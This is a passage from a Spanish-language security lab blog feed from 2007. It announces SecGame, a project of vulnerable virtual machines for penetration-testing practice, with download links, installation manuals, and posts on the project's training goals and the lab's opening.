privilegios o revelación de algún tipo de información que nos permita seguir avanzando. Así mismo, se plantean 2 niveles de dificultad, según la máquina virtual descargada: normal o alta.<br /><br />El nivel de dificultad normal está indicado para aquellas personas que teniendo conocimientos técnicos quieran familiarizarse con la realización de test de intrusión. En él las ayudas son bastantes, y aunque se deban superar los mismos retos, cuentan con numerosas indicaciones que les serán de utilidad.<br /><br />Por su parte el nivel de dificultad alta, se recomienda a personas experimentadas que quieran pasar un buen rato y poner a prueba sus conocimientos. En él todas las explotaciones son "a ciegas", con ningún tipo de indicación o ayuda.<br /><br />Esperamos que todos aquellos que lo prueben, pasen un buen rato, además de servirles para aprender o mejorar conocimientos.<br /><br /><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >Contenidos Descargables<br /></span><ul><li><span style="font-weight: bold;">SecGame #1 Sauron: Máquinas virtuales</span><br /></li><ul><li><a href="http://www.secgame.org/downloads/sauron.rar">Descargar máquina virtual Sauron</a> (530MB. Dificultad Normal)</li><ul><li>Mirror: <a href="http://www.pensandoenred.com/download-secgame/sauron.rar">Pensando en Red</a><br /></li></ul><li><a href="http://www.secgame.org/downloads/sauron-hard.rar">Descargar máquina virtual Sauron</a> (519MB. Dificultad Alta)</li><ul><li>Mirror: <a href="http://www.pensandoenred.com/download-secgame/sauron-hard.rar">Pensando en Red</a></li></ul></ul></ul><ul><li><span style="font-weight: bold;">Manules de instalación</span><br /></li><ul><li><a href="http://www.secgame.org/downloads/sg6.secgame07.instw32.pdf">Manual de instalación para Windows</a> (PDF)<a href="http://www.secgame.org/downloads/sg6.secgame07.instw32.pdf"><br /></a></li><li><a href="http://www.secgame.org/downloads/sg6.secgame07.instlinux.pdf">Manual de instalación para Linux</a> (PDF)<br /></li></ul></ul> <ul><li><span style="font-weight: bold;">Binarios para Windows</span><br /></li><ul><li><a href="http://www.secgame.org/downloads/setupqemuk40.exe">Qemu Manager 4.0</a><br /></li><li><a href="http://www.secgame.org/downloads/openvpn-2.0.9-install.exe">OpenVPN 2.0.9</a></li></ul></ul> </div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-25346463993384579982007-12-20T14:20:00.000+01:002007-12-20T19:00:24.592+01:00SecGame: Entornos virtuales para pen-test<div style="text-align: justify;"><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >¿Qué es SecGame?</span><br /><br /><span style="font-weight: bold;">SecGame</span> es un proyecto diseñado por <a href="http://www.sg6.es/labs">SG6 Labs</a> para el desarrollo de entornos que permitan la simulación de test de intrusion adaptados a escenarios reales.<br /><br />Estos entornos permiten no sólo la adquisición de habilidades, sino también la evaluación de las mismas, tanto dentro de los estrictamente conocimientos prácticos, como de las metodologías aplicadas al escenario.<br /><br />Dentro de los entornos a desarrollar se recogerán las principales necesidades del campo de la auditoría técnica de seguridad informática: revisión de aplicativo web, revisión de servicios, revisión de código, revisión de sistemas de gestión de bases de datos, revisión de configuraciones y políticas de seguridad, entre otras, intentando en cada entorno que dentro de su completitud, focalice las problemáticas más típicas de cada uno de los escenarios.<br /><br />Todos los entornos serán desarrollados usando máquinas virtuales sobre <a href="http://fabrice.bellard.free.fr/qemu/">QEmu</a>, en la actualidad en su versión 0.9.0 permitiendo ser usados en los sistemas operativos más difundidos: Windows, Linux, MacOS X y OpenSolaris.<br /><br /><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >Objetivos<br /></span><ol><li>Proporcionar un entorno de simulacion para la auditoria tecnica de sistemas de informacion que permita el aprendizaje y la mejora de habilidades.</li><li>Desarrollar un entorno de simulacion basado en casos y escenarios reales de sistemas, sin que exista separación física de niveles, permitiendo un mayor realismo en la explotación de los entornos.</li><li>Dotar de una relacion extensa de escenarios bajo un sistemas heterogéneos que permitan la revision de un conjunto amplio de casos interelacionados entre si.</li><li>Permitir la revisión de aplicativo web desarrollado en múltiples lenguajes, mostrando diversos errores en la codificacion del mismo.</li><li>Permitir la revisión de configuraciones de servicios, mostrando diferentes niveles de securizacion, y su impacto sobre los sistemas.</li><li>Permitir la revisión de servicios inseguros, mostrando errores comunes y fallos de seguridad en los mismos.</li><li>Permitir la revisión de código fuente inseguro, mostrando errores comunes y fallos de seguridad en el mismo.</li><li>Permitir la revisión de sistemas de gestión de bases de datos, mostrando errores típicos en el acceso a los mismos, y errores de gestión y configuración.</li><li>Innovar en el area de los aplicativos destinados a la preparacion de test de intrusion haciendo uso de la virtualización y las posibilidades de red que ofrecen estos entornos.<br /></li></ol></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-83291141673586453642007-12-19T17:07:00.001+01:002007-12-20T18:59:50.192+01:00Apertura del Laboratorio<div style="text-align: justify;">Hoy, SG6 abre su "laboratorio" en Internet. En él, y en formato blog, iremos poco a poco publicando aquellos documentos y herramientas que consideremos útiles para el público. Público que deseamos nos visite y haga de este, otro pequeño rincón en el que documentarse, contrastar información, o simplemente curiosear.<br /><br />En descargo de nuestra responsabilidad decir que el ritmo de publicación será aquel que las obligaciones nos permitan, pero siempre intentaremos que este espacio no parezca abandonado ni olvidado.<br /><br />Por último recordar que todo lo que aquí publiquemos será entregado sin mayor garantía que el haber pasado un buen rato desarrollándolo, escribiéndolo o simplemente pensándolo, y que con ese espíritu se ha creado este lugar, con la intención de compartir nuestros buenos momentos como profesionales de la seguridad de la información con todo aquel que quiera visitarnos.<br /><br />Muchas gracias por vuestro tiempo, y por vuestra visita.<br /><br /><br /></div>Unknownnoreply@blogger.com